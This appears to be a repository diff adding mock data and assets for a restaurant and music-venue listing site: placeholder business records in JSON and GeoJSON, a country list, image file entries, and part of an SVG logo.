"guid": "53178f64-9f01-4394-b9f1-4f2f83bb5924",
"isActive": true,
"icon": "http://placehold.it/32x32",
"logo": "http://placehold.it/32x32",
"image": "https://picsum.photos/300/200?image=1063",
"link": "detail.html",
"url": "#",
"name": "Blue Hill",
"email": "[email protected]",
"phone": "+1 (920) 407-3975",
"address": "151 Karweg Place, Waumandee, Iowa, 5508",
"about": "Cupidatat excepteur non dolore laborum et quis nostrud veniam dolore deserunt. Pariatur dolore ut in elit id nulla. Irure nostrud sint deserunt enim Lorem. Do eu esse consequat mollit labore commodo officia labore voluptate sit voluptate cupidatat.\r\n",
"latitude": 40.73723,
"longitude": -73.99967,
"tags": [
"et",
"cupidatat"
]
},
{
"_id": "59c0c8e322f3375db4d89128",
"index": 1,
"guid": "2cbd2629-eba9-40a3-82d0-ceb0e70200ac",
"isActive": true,
"icon": "http://placehold.it/32x32",
"logo": "http://placehold.it/32x32",
"image": "https://picsum.photos/300/200?image=1076",
"link": "detail.html",
"url": "#",
"name": "Plutorque",
"email": "[email protected]",
"phone": "+1 (986) 599-2693",
"address": "325 Seton Place, Castleton, Indiana, 3368",
"about": "Proident irure eiusmod velit veniam consectetur id minim irure et nostrud mollit magna velit. Commodo amet proident aliqua qui enim exercitation ipsum laborum Lorem. Irure nostrud sint deserunt enim Lorem. Do eu esse consequat mollit labore commodo officia labore voluptate sit voluptate cupidatat.\r\n",
"latitude": 40.7384555,
"longitude": -73.9906951,
"tags": [
"magna",
"culpa"
]
},
{
"_id": "59c0c8e3a31e62979bf147c9",
"index": 2,
"guid": "e850eea8-0be3-4f81-bf95-acde6594c3ef",
"isActive": true,
"icon": "http://placehold.it/32x32",
"logo": "http://placehold.it/32x32",
"image": "https://picsum.photos/300/200?image=1061",
"link": "detail.html",
"url": "#",
"name": "Junipoor",
"email": "[email protected]",
"phone": "+1 (863) 446-2211",
"address": "397 Crystal Street, Idledale, Nebraska, 4692",
"about": "Lorem amet ex duis in et fugiat consectetur laborum eiusmod labore. Quis cupidatat et do dolor in in magna. Eu sit quis cillum proident pariatur commodo consequat ea sunt mollit. Ad aliquip aliquip amet occaecat aute incididunt ex sit culpa adipisicing amet officia nisi. Commodo amet proident aliqua qui enim exercitation ipsum laborum Lorem.\r\n",
"latitude": 40.732346,
"longitude": -74.0014247,
"tags": [
"ex",
"exercitation"
]
},
{
"_id": "59c0c8e3503eb77d487e8082",
"index": 3,
"guid": "b48f4317-44dd-491e-a9e3-37967d880ea5",
"isActive": false,
"icon": "http://placehold.it/32x32",
"logo": "http://placehold.it/32x32",
"image": "https://picsum.photos/300/200?image=1054",
"link": "detail.html",
"url": "#",
"name": "Musix",
"email": "[email protected]",
"phone": "+1 (862) 498-2322",
"address": "828 Dewitt Avenue, Wyano, Nevada, 5082",
"about": "Deserunt eiusmod Lorem proident consequat elit culpa laboris ea cupidatat. Consequat dolore proident ipsum qui sint enim id in non et duis sunt aute qui. Laboris deserunt enim exercitation do consequat irure dolor ipsum commodo est fugiat qui mollit.\r\n",
"latitude": 40.7246413,
"longitude": -73.9969277,
"tags": [
"eiusmod"
]
},
{
"_id": "59c0c8e39aa2eed0626e485d",
"index": 4,
"guid": "1d402f7f-fd00-462f-9875-cc31c7a681a8",
"isActive": false,
"icon": "http://placehold.it/32x32",
"logo": "http://placehold.it/32x32",
"image": "https://picsum.photos/300/200?image=1033",
"link": "detail.html",
"url": "#",
"name": "Prosure",
"email": "[email protected]",
"phone": "+1 (831) 587-2089",
"address": "942 Greenpoint Avenue, Northridge, Puerto Rico, 8248",
"about": "Cillum sunt reprehenderit ea non irure veniam dolore commodo labore fugiat est consequat velit. Cupidatat nisi qui ad sit ut labore id esse tempor proident enim exercitation est aliquip. Ipsum deserunt dolor proident sunt ut proident esse do pariatur duis incididunt id ullamco. Dolore proident consectetur dolor irure mollit commodo sunt dolore. \r\n",
"latitude": 40.741726,
"longitude": -73.9893617,
"tags": [
"nisi",
"ex",
"eiusmod"
]
}
]
+3
View File
@@ -0,0 +1,3 @@
{
"countries": ["Afghanistan","Albania","Algeria","Andorra","Angola","Anguilla","Antigua &amp; Barbuda","Argentina","Armenia","Aruba","Australia","Austria","Azerbaijan","Bahamas","Bahrain","Bangladesh","Barbados","Belarus","Belgium","Belize","Benin","Bermuda","Bhutan","Bolivia","Bosnia &amp; Herzegovina","Botswana","Brazil","British Virgin Islands","Brunei","Bulgaria","Burkina Faso","Burundi","Cambodia","Cameroon","Cape Verde","Cayman Islands","Chad","Chile","China","Colombia","Congo","Cook Islands","Costa Rica","Cote D Ivoire","Croatia","Cruise Ship","Cuba","Cyprus","Czech Republic","Denmark","Djibouti","Dominica","Dominican Republic","Ecuador","Egypt","El Salvador","Equatorial Guinea","Estonia","Ethiopia","Falkland Islands","Faroe Islands","Fiji","Finland","France","French Polynesia","French West Indies","Gabon","Gambia","Georgia","Germany","Ghana","Gibraltar","Greece","Greenland","Grenada","Guam","Guatemala","Guernsey","Guinea","Guinea Bissau","Guyana","Haiti","Honduras","Hong Kong","Hungary","Iceland","India","Indonesia","Iran","Iraq","Ireland","Isle of Man","Israel","Italy","Jamaica","Japan","Jersey","Jordan","Kazakhstan","Kenya","Kuwait","Kyrgyz Republic","Laos","Latvia","Lebanon","Lesotho","Liberia","Libya","Liechtenstein","Lithuania","Luxembourg","Macau","Macedonia","Madagascar","Malawi","Malaysia","Maldives","Mali","Malta","Mauritania","Mauritius","Mexico","Moldova","Monaco","Mongolia","Montenegro","Montserrat","Morocco","Mozambique","Namibia","Nepal","Netherlands","Netherlands Antilles","New Caledonia","New Zealand","Nicaragua","Niger","Nigeria","Norway","Oman","Pakistan","Palestine","Panama","Papua New Guinea","Paraguay","Peru","Philippines","Poland","Portugal","Puerto Rico","Qatar","Reunion","Romania","Russia","Rwanda","Saint Pierre &amp; Miquelon","Samoa","San Marino","Satellite","Saudi Arabia","Senegal","Serbia","Seychelles","Sierra Leone","Singapore","Slovakia","Slovenia","South Africa","South Korea","Spain","Sri Lanka","St Kitts &amp; Nevis","St Lucia","St Vincent","St. Lucia","Sudan","Suriname","Swaziland","Sweden","Switzerland","Syria","Taiwan","Tajikistan","Tanzania","Thailand","Timor L'Este","Togo","Tonga","Trinidad &amp; Tobago","Tunisia","Turkey","Turkmenistan","Turks &amp; Caicos","Uganda","Ukraine","United Arab Emirates","United Kingdom","Uruguay","Uzbekistan","Venezuela","Vietnam","Virgin Islands (US)","Yemen","Zambia","Zimbabwe"]
}
+188
View File
@@ -0,0 +1,188 @@
{
"type": "FeatureCollection",
"features": [{
"type": "Feature",
"geometry": {
"type": "Point",
"coordinates": [
-73.99967,
40.73723
]
},
"properties": {
"id": "59c0c8e33b1527bfe2abaf92",
"index": 0,
"isActive": true,
"logo": "http://placehold.it/32x32",
"image": "restaurant-1430931071372-38127bd472b8.jpg",
"link": "detail.html",
"url": "#",
"name": "Blue Hill",
"category": "Restaurants",
"email": "[email protected]",
"stars": 4,
"phone": "+1 (920) 407-3975",
"address": "151 Karweg Place, Waumandee, Iowa, 5508",
"about": "Cupidatat excepteur non dolore laborum et quis nostrud veniam dolore deserunt. Pariatur dolore ut in elit id nulla. Irure nostrud sint deserunt enim Lorem. Do eu esse consequat mollit labore commodo officia labore voluptate sit voluptate cupidatat.\r\n",
"tags": [
"Restaurant",
"Contemporary"
]
}
},
{
"type": "Feature",
"geometry": {
"type": "Point",
"coordinates": [
-73.9906951,
40.7384555
]
},
"properties": {
"id": "59c0c8e322f3375db4d89128",
"index": 1,
"isActive": true,
"logo": "http://placehold.it/32x32",
"image": "restaurant-1436018626274-89acd1d6ec9d.jpg",
"link": "detail.html",
"url": "#",
"name": "Plutorque",
"category": "Restaurant",
"email": "[email protected]",
"stars": 5,
"phone": "+1 (986) 599-2693",
"address": "325 Seton Place, Castleton, Indiana, 3368",
"about": "Proident irure eiusmod velit veniam consectetur id minim irure et nostrud mollit magna velit. Commodo amet proident aliqua qui enim exercitation ipsum laborum Lorem. Irure nostrud sint deserunt enim Lorem. Do eu esse consequat mollit labore commodo officia labore voluptate sit voluptate cupidatat.\r\n",
"tags": [
"Restaurant",
"Fusion"
]
}
},
{
"type": "Feature",
"geometry": {
"type": "Point",
"coordinates": [
-74.0014247,
40.732346
]
},
"properties": {
"id": "59c0c8e3a31e62979bf147c9",
"index": 2,
"isActive": true,
"logo": "http://placehold.it/32x32",
"image": "restaurant-1466978913421-dad2ebd01d17.jpg",
"link": "detail.html",
"url": "#",
"name": "Junipoor",
"category": "Music club",
"email": "[email protected]",
"stars": 5,
"phone": "+1 (863) 446-2211",
"address": "397 Crystal Street, Idledale, Nebraska, 4692",
"about": "Lorem amet ex duis in et fugiat consectetur laborum eiusmod labore. Quis cupidatat et do dolor in in magna. Eu sit quis cillum proident pariatur commodo consequat ea sunt mollit. Ad aliquip aliquip amet occaecat aute incididunt ex sit culpa adipisicing amet officia nisi. Commodo amet proident aliqua qui enim exercitation ipsum laborum Lorem.\r\n",
"tags": [
"Music",
"Techno",
"House"
]
}
},
{
"type": "Feature",
"geometry": {
"type": "Point",
"coordinates": [
-73.9969277,
40.7246413
]
},
"properties": {
"id": "59c0c8e3503eb77d487e8082",
"index": 3,
"isActive": false,
"logo": "http://placehold.it/32x32",
"image": "restaurant-1477763858572-cda7deaa9bc5.jpg",
"link": "detail.html",
"url": "#",
"name": "Musix",
"category": "Music club",
"email": "[email protected]",
"stars": 3,
"phone": "+1 (862) 498-2322",
"address": "828 Dewitt Avenue, Wyano, Nevada, 5082",
"about": "Deserunt eiusmod Lorem proident consequat elit culpa laboris ea cupidatat. Consequat dolore proident ipsum qui sint enim id in non et duis sunt aute qui. Laboris deserunt enim exercitation do consequat irure dolor ipsum commodo est fugiat qui mollit.\r\n",
"tags": [
"Music",
"Club",
"Rock"
]
}
},
{
"type": "Feature",
"geometry": {
"type": "Point",
"coordinates": [
-73.9893617,
40.741726
]
},
"properties": {
"id": "59c0c8e39aa2eed0626e485d",
"index": 4,
"isActive": false,
"logo": "http://placehold.it/32x32",
"image": "restaurant-1504087697492-238a6bf49ce8.jpg",
"link": "detail.html",
"url": "#",
"name": "Prosure",
"category": "Restaurant",
"email": "[email protected]",
"stars": 5,
"phone": "+1 (831) 587-2089",
"address": "942 Greenpoint Avenue, Northridge, Puerto Rico, 8248",
"about": "Cillum sunt reprehenderit ea non irure veniam dolore commodo labore fugiat est consequat velit. Cupidatat nisi qui ad sit ut labore id esse tempor proident enim exercitation est aliquip. Ipsum deserunt dolor proident sunt ut proident esse do pariatur duis incididunt id ullamco. Dolore proident consectetur dolor irure mollit commodo sunt dolore. \r\n",
"tags": [
"Nisi",
"Ex",
"Eiusmod"
]
}
},
{
"type": "Feature",
"geometry": {
"type": "Point",
"coordinates": [
-73.96,
40.741726
]
},
"properties": {
"id": "59c0c8e39aa2edasd626e485d",
"index": 5,
"isActive": false,
"logo": "http://placehold.it/32x32",
"image": "restaurant-1505275350441-83dcda8eeef5.jpg",
"link": "detail.html",
"url": "#",
"name": "Take That",
"category": "Café",
"email": "[email protected]",
"stars": 4,
"phone": "+1 (831) 587-2089",
"address": "942 Greenpoint Avenue, Northridge, Puerto Rico, 8248",
"about": "Cillum sunt reprehenderit ea non irure veniam dolore commodo labore fugiat est consequat velit. Cupidatat nisi qui ad sit ut labore id esse tempor proident enim exercitation est aliquip. Ipsum deserunt dolor proident sunt ut proident esse do pariatur duis incididunt id ullamco. Dolore proident consectetur dolor irure mollit commodo sunt dolore. \r\n",
"tags": [
"Nisi",
"Ex",
"Eiusmod"
]
}
}
]
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 59 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 156 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 156 KiB

+176
View File
@@ -0,0 +1,176 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 204.8 207.5" enable-background="new 0 0 204.8 207.5" xml:space="preserve">
<g id="BACKGROUND" display="none">
<rect x="-62.2" y="-51" display="inline" fill="#bfc1c4bfc1c4" width="800" height="800"/>
</g>
<g id="OBJECTS">
<g>
<g>
<polygon fill="#bfc1c4" points="101.4,77.6 103.7,74.5 124.4,47.1 120.1,36.8 82.7,36.8 78.4,47.1 99.1,74.5 "/>
<g>
<path fill="#bfc1c4" d="M35.1,123.3l-7.6-37.3h6l4.9,25.9l4.6-25.9h6.2l-7.6,37.3H35.1z"/>
<path fill="#bfc1c4" d="M53.3,123.3V86.1H60v37.3H53.3z"/>
<path fill="#bfc1c4" d="M65.7,123.3V86.1h4.7l9.1,21.1V86.1h5.6v37.3h-4.4l-9.2-22.2v22.2H65.7z"/>
<path fill="#bfc1c4" d="M94.4,123.3V91.1h-6.2v-5h19.1v5h-6v32.2H94.4z"/>
<path fill="#bfc1c4" d="M108,123.3l7.6-37.3h7.1l7.6,37.3h-6.3l-1.5-8.7H116l-1.5,8.7H108z M116.7,110.3h5L119.2,95L116.7,110.3
z"/>
<path fill="#bfc1c4" d="M143.1,123.8c-3.5,0-6.1-1.1-7.6-3.3c-1.6-2.2-2.3-5.4-2.3-9.6V98.8c0-2.1,0.2-4,0.5-5.5
c0.3-1.6,0.9-2.9,1.7-4.1s1.9-2,3.3-2.6c1.4-0.6,3.1-0.9,5.1-0.9c3.7,0,6.3,0.9,7.9,2.7c1.6,1.8,2.4,4.5,2.4,8.2v1.8h-6.5v-1.9
c0-0.8,0-1.5-0.1-2c0-0.5-0.1-1.1-0.3-1.6c-0.1-0.5-0.3-0.9-0.6-1.2s-0.6-0.5-1.1-0.7s-1-0.3-1.7-0.3c-0.5,0-1,0.1-1.4,0.2
c-0.4,0.1-0.7,0.3-1,0.5c-0.3,0.2-0.5,0.5-0.7,0.8c-0.2,0.3-0.3,0.7-0.4,1c-0.1,0.3-0.2,0.7-0.2,1.2c-0.1,0.5-0.1,1-0.1,1.3
c0,0.4,0,0.9,0,1.5v15c0,2.2,0.3,3.9,0.8,4.9c0.6,1,1.6,1.6,3.2,1.6c0.8,0,1.5-0.2,2-0.5c0.5-0.3,1-0.8,1.3-1.4
c0.3-0.6,0.5-1.3,0.7-2.1s0.2-1.8,0.2-2.9v-3.1h-4v-4.4h10.1v18.9h-4.4l-0.5-3.8C148.3,122.4,146.2,123.8,143.1,123.8z"/>
<path fill="#bfc1c4" d="M159.5,123.3V86.1H175v4.8h-8.8v10.7h7v4.8h-7v12.3h8.9v4.7H159.5z"/>
</g>
<g>
<path fill="#bfc1c4" d="M53.9,132.7v1.7h-6v3h5.4v1.7h-5.4v3H54v1.7H46v-11H53.9z"/>
<path fill="#bfc1c4" d="M59.8,134.4c-1.1,0-1.8,0.4-1.8,1.2c0,2.4,6,1.1,5.9,5.1c0,2-1.7,3.2-4.2,3.2c-1.7,0-3.4-0.7-4.5-1.8
l0.8-1.6c1.1,1,2.6,1.6,3.7,1.6c1.3,0,2.1-0.5,2.1-1.3c0-2.5-6-1.1-6-5c0-1.9,1.6-3.1,4-3.1c1.4,0,2.8,0.5,3.9,1.1l-0.8,1.6
C61.8,134.7,60.6,134.4,59.8,134.4z"/>
<path fill="#bfc1c4" d="M73.7,132.7v1.7h-3.5v9.4h-1.9v-9.4h-3.5v-1.7H73.7z"/>
<path fill="#bfc1c4" d="M81.3,141.3h-5.6l-1.1,2.5h-1.9l4.9-11h1.9l4.8,11h-2L81.3,141.3z M80.6,139.6l-2.1-4.9l-2.1,4.9H80.6z"
/>
<path fill="#bfc1c4" d="M94.3,135.5c0,1.2-0.7,2.2-1.9,2.5c1.5,0.3,2.4,1.3,2.4,2.8c0,1.9-1.5,3-4,3h-4.9v-11h4.8
C92.9,132.7,94.3,133.8,94.3,135.5z M92.4,135.8c0-0.9-0.7-1.4-1.9-1.4h-2.8v2.9h2.8C91.7,137.3,92.4,136.8,92.4,135.8z
M92.8,140.5c0-1-0.9-1.6-2.3-1.6h-2.8v3.2h2.8C92,142.1,92.8,141.5,92.8,140.5z"/>
<path fill="#bfc1c4" d="M98.8,132.7v9.4h4.8v1.7h-6.6v-11H98.8z"/>
<path fill="#bfc1c4" d="M107.2,132.7v11h-1.9v-11H107.2z"/>
<path fill="#bfc1c4" d="M113.6,134.4c-1.1,0-1.8,0.4-1.8,1.2c0,2.4,6,1.1,5.9,5.1c0,2-1.7,3.2-4.2,3.2c-1.7,0-3.4-0.7-4.5-1.8
l0.8-1.6c1.1,1,2.6,1.6,3.7,1.6c1.3,0,2.1-0.5,2.1-1.3c0-2.5-6-1.1-6-5c0-1.9,1.6-3.1,4-3.1c1.4,0,2.8,0.5,3.9,1.1l-0.8,1.6
C115.7,134.7,114.5,134.4,113.6,134.4z"/>
<path fill="#bfc1c4" d="M121.8,132.7v4.8h5.9v-4.8h1.9v11h-1.9v-4.6h-5.9v4.6h-1.9v-11H121.8z"/>
<path fill="#bfc1c4" d="M140.3,132.7v1.7h-6v3h5.4v1.7h-5.4v3h6.2v1.7h-8.1v-11H140.3z"/>
<path fill="#bfc1c4" d="M153,138.2c0,3.2-2.4,5.5-5.8,5.5h-4.5v-11h4.5C150.6,132.7,153,135,153,138.2z M151.1,138.3
c0-2.3-1.7-3.9-3.9-3.9h-2.6v7.7h2.7C149.5,142.1,151.1,140.5,151.1,138.3z"/>
<path fill="#bfc1c4" d="M87.8,151.6v11.1H86v-9.4h-2.4v-1.7H87.8z"/>
<path fill="#bfc1c4" d="M95.8,161.2c2.1,0,3.1-1.6,3.1-4c-0.6,1-1.6,1.6-3,1.6c-2.2,0-3.5-1.4-3.5-3.5c0-2.3,1.5-3.7,3.9-3.7
c2.8,0,4.5,2,4.5,5.4c0,3.5-1.8,5.8-4.7,5.8c-1.1,0-2.4-0.3-3.3-0.8l0.7-1.4C94,161,94.9,161.2,95.8,161.2z M94,155.3
c0,1.3,0.8,2.1,2.1,2.1c1.5,0,2.4-1,2.4-2.1c0-1-0.7-2.1-2.3-2.1C94.9,153.1,94,153.9,94,155.3z"/>
<path fill="#bfc1c4" d="M105.5,161.2c2.1,0,3.1-1.6,3.1-4c-0.6,1-1.6,1.6-3,1.6c-2.2,0-3.5-1.4-3.5-3.5c0-2.3,1.5-3.7,3.9-3.7
c2.8,0,4.5,2,4.5,5.4c0,3.5-1.8,5.8-4.7,5.8c-1.1,0-2.4-0.3-3.3-0.8l0.7-1.4C103.8,161,104.7,161.2,105.5,161.2z M103.8,155.3
c0,1.3,0.8,2.1,2.1,2.1c1.5,0,2.4-1,2.4-2.1c0-1-0.7-2.1-2.3-2.1C104.7,153.1,103.8,153.9,103.8,155.3z"/>
<path fill="#bfc1c4" d="M120.3,151.6v1.4l-4.7,9.6h-2l4.6-9.4h-4.7l0,1.5h-1.7v-3.2H120.3z"/>
</g>
<g>
<path fill="#2B292A" d="M99.1,64.9l-4.2-20.8h3.4l2.7,14.5l2.6-14.5h3.4l-4.2,20.8H99.1z"/>
</g>
<path fill="#bfc1c4" d="M30.6,176.1c9.2,9.2,19.9,16.4,31.8,21.5c12.3,5.2,25.5,7.9,39,7.9c13.5,0,26.6-2.6,39-7.9
c11.9-5,22.6-12.3,31.8-21.5c9.2-9.2,16.4-19.9,21.5-31.8c5.2-12.3,7.9-25.5,7.9-39c0-13.5-2.6-26.6-7.9-39
c-5-11.9-12.3-22.6-21.5-31.8c-9.2-9.2-19.9-16.4-31.8-21.5c-12.3-5.2-25.5-7.9-39-7.9c-13.5,0-26.6,2.6-39,7.9
c-11.9,5-22.6,12.3-31.8,21.5c-9.2,9.2-16.4,19.9-21.5,31.8c-5.2,12.3-7.9,25.5-7.9,39c0,13.5,2.6,26.6,7.9,39
C14.2,156.2,21.4,166.9,30.6,176.1z M101.4,8.6c25.8,0,50.1,10.1,68.4,28.3s28.3,42.5,28.3,68.4c0,25.8-10.1,50.1-28.3,68.4
S127.2,202,101.4,202c-25.8,0-50.1-10.1-68.4-28.3S4.7,131.1,4.7,105.3c0-25.8,10.1-50.1,28.3-68.4S75.6,8.6,101.4,8.6z"/>
<path fill="#bfc1c4" d="M16.2,105.3c0,22.8,8.9,44.2,25,60.3c16.1,16.1,37.5,25,60.3,25c22.8,0,44.2-8.9,60.3-25
c16.1-16.1,25-37.5,25-60.3c0-22.8-8.9-44.2-25-60.3c-16.1-16.1-37.5-25-60.3-25c-22.8,0-44.2,8.9-60.3,25
C25,61.1,16.2,82.5,16.2,105.3z M101.4,23.5c21.8,0,42.4,8.5,57.8,24c15.4,15.4,24,36,24,57.8s-8.5,42.4-24,57.8
c-15.4,15.4-36,24-57.8,24c-21.8,0-42.4-8.5-57.8-24c-15.4-15.4-24-36-24-57.8s8.5-42.4,24-57.8C59,32,79.6,23.5,101.4,23.5z"/>
<path fill="#bfc1c4" d="M150.8,179.9l1.1,1.7c1-0.6,1.9-1.3,2.8-2l-1.2-1.6C152.7,178.6,151.8,179.2,150.8,179.9z"/>
<path fill="#bfc1c4" d="M93,16.2l-0.2-2c-1.1,0.1-2.3,0.2-3.4,0.4l0.3,2C90.7,16.5,91.9,16.3,93,16.2z"/>
<path fill="#bfc1c4" d="M184.5,138.5l1.9,0.7c0.4-1.1,0.8-2.2,1.2-3.2l-1.9-0.7C185.3,136.4,184.9,137.5,184.5,138.5z"/>
<path fill="#bfc1c4" d="M113.5,14.6c-1.1-0.2-2.3-0.3-3.4-0.4l-0.2,2c1.1,0.1,2.2,0.2,3.4,0.4L113.5,14.6z"/>
<path fill="#bfc1c4" d="M106.6,14c-1.1-0.1-2.3-0.1-3.5-0.1l0,2c1.1,0,2.3,0.1,3.4,0.1L106.6,14z"/>
<path fill="#bfc1c4" d="M120.3,15.8c-1.1-0.2-2.3-0.5-3.4-0.6l-0.3,2c1.1,0.2,2.2,0.4,3.3,0.6L120.3,15.8z"/>
<path fill="#bfc1c4" d="M181.7,144.7l1.8,0.9c0.5-1,1-2.1,1.5-3.1l-1.8-0.8C182.7,142.6,182.2,143.7,181.7,144.7z"/>
<path fill="#bfc1c4" d="M166.4,166.8l1.5,1.4c0.8-0.8,1.6-1.7,2.3-2.6l-1.5-1.3C167.9,165.2,167.1,166,166.4,166.8z"/>
<path fill="#bfc1c4" d="M86.3,17.1l-0.3-2c-1.1,0.2-2.3,0.4-3.4,0.6l0.4,2C84.1,17.5,85.2,17.3,86.3,17.1z"/>
<path fill="#bfc1c4" d="M170.8,161.7l1.6,1.3c0.7-0.9,1.4-1.8,2.1-2.7l-1.6-1.2C172.2,160,171.5,160.9,170.8,161.7z"/>
<path fill="#bfc1c4" d="M156.3,175.9l1.2,1.6c0.9-0.7,1.8-1.4,2.7-2.2l-1.3-1.5C158.1,174.5,157.2,175.2,156.3,175.9z"/>
<path fill="#bfc1c4" d="M161.5,171.5l1.4,1.5c0.9-0.8,1.7-1.6,2.5-2.4l-1.4-1.4C163.2,170,162.3,170.8,161.5,171.5z"/>
<path fill="#bfc1c4" d="M178.5,150.6l1.7,1c0.6-1,1.2-2,1.7-3l-1.8-1C179.7,148.7,179.1,149.7,178.5,150.6z"/>
<path fill="#bfc1c4" d="M73.2,20.4l-0.6-1.9c-1.1,0.4-2.2,0.8-3.3,1.2l0.7,1.9C71,21.1,72.1,20.7,73.2,20.4z"/>
<path fill="#bfc1c4" d="M174.9,156.3l1.6,1.1c0.7-0.9,1.3-1.9,1.9-2.9l-1.7-1.1C176.2,154.5,175.5,155.4,174.9,156.3z"/>
<path fill="#bfc1c4" d="M79.7,18.5l-0.5-1.9c-1.1,0.3-2.2,0.6-3.3,0.9l0.6,1.9C77.5,19.1,78.6,18.8,79.7,18.5z"/>
<path fill="#bfc1c4" d="M99.7,15.8l0-2c-1.1,0-2.3,0.1-3.5,0.1l0.1,2C97.5,15.9,98.6,15.9,99.7,15.8z"/>
<path fill="#bfc1c4" d="M188.6,85.2l2-0.5c-0.3-1.1-0.5-2.2-0.8-3.4l-1.9,0.5C188.1,83,188.3,84.1,188.6,85.2z"/>
<path fill="#bfc1c4" d="M190.6,98.5l2-0.1c-0.1-1.1-0.2-2.3-0.3-3.4l-2,0.2C190.4,96.3,190.5,97.4,190.6,98.5z"/>
<path fill="#bfc1c4" d="M189.8,91.8l2-0.3c-0.2-1.1-0.4-2.3-0.6-3.4l-2,0.4C189.5,89.6,189.7,90.7,189.8,91.8z"/>
<path fill="#bfc1c4" d="M186.8,78.6l1.9-0.6c-0.3-1.1-0.7-2.2-1.1-3.3l-1.9,0.7C186.1,76.5,186.5,77.5,186.8,78.6z"/>
<path fill="#bfc1c4" d="M184.5,72.2l1.9-0.7c-0.4-1.1-0.9-2.1-1.3-3.2l-1.8,0.8C183.7,70.1,184.1,71.2,184.5,72.2z"/>
<path fill="#bfc1c4" d="M181.8,66l1.8-0.9c-0.5-1-1-2.1-1.6-3.1l-1.8,1C180.8,64,181.3,65,181.8,66z"/>
<path fill="#bfc1c4" d="M188.5,125.6l2,0.5c0.3-1.1,0.5-2.3,0.7-3.4l-2-0.4C189,123.4,188.8,124.5,188.5,125.6z"/>
<path fill="#bfc1c4" d="M189.8,119l2,0.3c0.2-1.1,0.3-2.3,0.5-3.4l-2-0.2C190.1,116.7,190,117.9,189.8,119z"/>
<path fill="#bfc1c4" d="M190.6,112.2l2,0.2c0.1-1.1,0.2-2.3,0.2-3.5l-2-0.1C190.7,110,190.7,111.1,190.6,112.2z"/>
<path fill="#bfc1c4" d="M190.9,105.3l0,0.2l2,0l0-0.2c0-1.1,0-2.3-0.1-3.5l-2,0.1C190.8,103,190.9,104.2,190.9,105.3z"/>
<path fill="#bfc1c4" d="M152,29.1c-1-0.6-1.9-1.3-2.9-1.9l-1,1.7c1,0.6,1.9,1.2,2.8,1.8L152,29.1z"/>
<path fill="#bfc1c4" d="M127.1,17.5c-1.1-0.3-2.2-0.6-3.3-0.9l-0.5,1.9c1.1,0.3,2.2,0.6,3.3,0.9L127.1,17.5z"/>
<path fill="#bfc1c4" d="M146.1,25.5c-1-0.6-2-1.1-3-1.6l-0.9,1.8c1,0.5,2,1,3,1.6L146.1,25.5z"/>
<path fill="#bfc1c4" d="M157.6,33.1c-0.9-0.7-1.8-1.4-2.8-2.1l-1.2,1.6c0.9,0.7,1.8,1.3,2.7,2L157.6,33.1z"/>
<path fill="#bfc1c4" d="M133.6,19.7c-1.1-0.4-2.2-0.8-3.3-1.2l-0.6,1.9c1.1,0.4,2.1,0.7,3.2,1.1L133.6,19.7z"/>
<path fill="#bfc1c4" d="M180.3,59c-0.6-1-1.2-2-1.8-3l-1.7,1.1c0.6,0.9,1.2,1.9,1.8,2.9L180.3,59z"/>
<path fill="#bfc1c4" d="M140,22.3c-1-0.5-2.1-1-3.2-1.4l-0.8,1.9c1,0.4,2.1,0.9,3.1,1.4L140,22.3z"/>
<path fill="#bfc1c4" d="M162.9,37.6c-0.8-0.8-1.7-1.5-2.6-2.3l-1.3,1.5c0.9,0.7,1.7,1.5,2.5,2.2L162.9,37.6z"/>
<path fill="#bfc1c4" d="M176.6,53.2c-0.7-0.9-1.3-1.9-2-2.8l-1.6,1.2c0.7,0.9,1.3,1.8,2,2.7L176.6,53.2z"/>
<path fill="#bfc1c4" d="M172.4,47.7c-0.7-0.9-1.5-1.8-2.2-2.6l-1.5,1.3c0.7,0.8,1.5,1.7,2.2,2.6L172.4,47.7z"/>
<path fill="#bfc1c4" d="M167.9,42.4c-0.8-0.8-1.6-1.7-2.4-2.5l-1.4,1.4c0.8,0.8,1.6,1.6,2.4,2.4L167.9,42.4z"/>
<path fill="#bfc1c4" d="M79,194c1.1,0.3,2.2,0.5,3.4,0.8l0.4-2c-1.1-0.2-2.2-0.5-3.3-0.8L79,194z"/>
<path fill="#bfc1c4" d="M17.1,75.3l-1.9-0.7c-0.4,1.1-0.8,2.2-1.1,3.3l1.9,0.6C16.3,77.5,16.7,76.4,17.1,75.3z"/>
<path fill="#bfc1c4" d="M15.1,81.8l-1.9-0.5c-0.3,1.1-0.6,2.2-0.8,3.4l2,0.5C14.5,84,14.8,82.9,15.1,81.8z"/>
<path fill="#bfc1c4" d="M72.3,192.1c1.1,0.4,2.2,0.7,3.3,1l0.6-1.9c-1.1-0.3-2.2-0.7-3.2-1L72.3,192.1z"/>
<path fill="#bfc1c4" d="M13.5,88.4l-2-0.4c-0.2,1.1-0.4,2.3-0.6,3.4l2,0.3C13.1,90.6,13.3,89.5,13.5,88.4z"/>
<path fill="#bfc1c4" d="M65.9,189.6c1.1,0.4,2.1,0.9,3.2,1.3l0.7-1.9c-1-0.4-2.1-0.8-3.1-1.3L65.9,189.6z"/>
<path fill="#bfc1c4" d="M11.9,105.2c0-1.1,0-2.3,0.1-3.4l-2-0.1c0,1.1-0.1,2.3-0.1,3.5L11.9,105.2z"/>
